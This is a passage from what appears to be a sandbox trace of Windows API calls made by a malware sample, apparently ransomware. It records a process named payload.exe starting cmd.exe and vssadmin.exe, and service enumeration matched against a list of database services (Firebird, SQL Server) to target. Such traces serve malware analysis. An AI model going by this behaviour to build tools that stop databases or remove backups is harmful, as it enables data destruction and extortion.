th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.147] lstrlenW (lpString="far.exe") returned 7 [0066.147] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.148] lstrlenW (lpString="filezilla.exe") returned 13 [0066.148] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.149] lstrlenW (lpString="flashfxp.exe") returned 12 [0066.149] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.149] lstrlenW (lpString="fling.exe") returned 9 [0066.149] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.150] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0066.150] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.150] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0066.150] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.151] lstrlenW (lpString="icq.exe") returned 7 [0066.151] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.151] lstrlenW (lpString="leechftp.exe") returned 12 [0066.151] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.152] lstrlenW (lpString="ncftp.exe") returned 9 [0066.152] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0066.153] lstrlenW (lpString="notepad.exe") returned 11 [0066.153] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0066.154] lstrlenW (lpString="operamail.exe") returned 13 [0066.154] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0066.155] lstrlenW (lpString="pidgin.exe") returned 10 [0066.155] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0066.155] lstrlenW (lpString="scriptftp.exe") returned 13 [0066.155] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0066.156] lstrlenW (lpString="skype.exe") returned 9 [0066.156] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0066.157] lstrlenW (lpString="smartftp.exe") returned 12 [0066.157] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0066.158] lstrlenW (lpString="thunderbird.exe") returned 15 [0066.158] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0066.159] lstrlenW (lpString="totalcmd.exe") returned 12 [0066.159] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.160] lstrlenW (lpString="trillian.exe") returned 12 [0066.160] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.160] lstrlenW (lpString="webdrive.exe") returned 12 [0066.160] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0066.161] lstrlenW (lpString="whatsapp.exe") returned 12 [0066.161] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0066.162] lstrlenW (lpString="winscp.exe") returned 10 [0066.162] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0066.163] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0066.163] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.163] lstrlenW (lpString="active-charge.exe") returned 17 [0066.163] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.164] lstrlenW (lpString="accupos.exe") returned 11 [0066.164] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.165] lstrlenW (lpString="afr38.exe") returned 9 [0066.165] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.165] lstrlenW (lpString="aldelo.exe") returned 10 [0066.166] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.166] lstrlenW (lpString="ccv_server.exe") returned 14 [0066.166] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.167] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0066.167] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.168] lstrlenW (lpString="creditservice.exe") returned 17 [0066.168] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.168] lstrlenW (lpString="edcsvr.exe") returned 10 [0066.168] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.170] lstrlenW (lpString="fpos.exe") returned 8 [0066.170] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.171] lstrlenW (lpString="isspos.exe") returned 10 [0066.171] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.171] lstrlenW (lpString="mxslipstream.exe") returned 16 [0066.171] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.172] lstrlenW (lpString="omnipos.exe") returned 11 [0066.172] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.174] lstrlenW (lpString="spcwin.exe") returned 10 [0066.174] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.174] lstrlenW (lpString="spgagentservice.exe") returned 19 [0066.174] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.175] lstrlenW (lpString="utg2.exe") returned 8 [0066.175] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0066.176] lstrlenW (lpString="slope.exe") returned 9 [0066.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0066.176] lstrlenW (lpString="entered.exe") returned 11 [0066.176] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0066.177] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0066.177] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0066.178] lstrlenW (lpString="attach.exe") returned 10 [0066.178] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0066.178] lstrlenW (lpString="obligations.exe") returned 15 [0066.178] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.179] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.179] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.179] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.179] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.180] lstrlenW (lpString="taskhost.exe") returned 12 [0066.180] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0066.181] lstrlenW (lpString="payload.exe") returned 11 [0066.181] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.181] lstrlenW (lpString="cmd.exe") returned 7 [0066.181] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.182] lstrlenW (lpString="conhost.exe") returned 11 [0066.182] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0066.182] lstrlenW (lpString="vssadmin.exe") returned 12 [0066.182] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0066.183] lstrlenW (lpString="VSSVC.exe") returned 9 [0066.183] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0066.184] CloseHandle (hObject=0x19c) returned 1 [0066.184] Sleep (dwMilliseconds=0x1f4) [0067.406] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626cd0 [0067.407] EnumServicesStatusExW (in: hSCManager=0x626cd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0067.407] GetLastError () returned 0xea [0067.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0067.407] EnumServicesStatusExW (in: hSCManager=0x626cd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0067.408] CloseServiceHandle (hSCObject=0x626cd0) returned 1 [0067.408] lstrlenW (lpString="Appinfo") returned 7 [0067.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0067.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0067.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0067.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0067.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0067.409] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0067.409] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0067.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0067.409] lstrlenW (lpString="AudioSrv") returned 8 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0067.409] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0067.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0067.409] lstrlenW (lpString="BFE") returned 3 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0067.409] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0067.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0067.409] lstrlenW (lpString="CryptSvc") returned 8 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0067.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0067.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0067.409] lstrlenW (lpString="CscService") returned 10 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0067.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0067.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0067.409] lstrlenW (lpString="DcomLaunch") returned 10 [0067.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.409] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0067.410] lstrlenW (lpString="Dhcp") returned 4 [0067.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0067.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0067.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0067.410] lstrlenW (lpString="Dnscache") returned 8 [0067.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0067.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0067.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0067.410] lstrlenW (lpString="DPS") returned 3 [0067.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0067.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0067.410] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0067.410] lstrlenW (lpString="eventlog") returned 8 [0067.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0067.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0067.410] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0067.410] lstrlenW (lpString="EventSystem") returned 11 [0067.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0067.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0067.410] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0067.410] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0067.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0067.411] lstrlenW (lpString="gpsvc") returned 5 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0067.411] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0067.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0067.411] lstrlenW (lpString="iphlpsvc") returned 8 [0067.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.411] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0067.411] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0067.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0067.411] lstrlenW (lpString="LanmanServer") 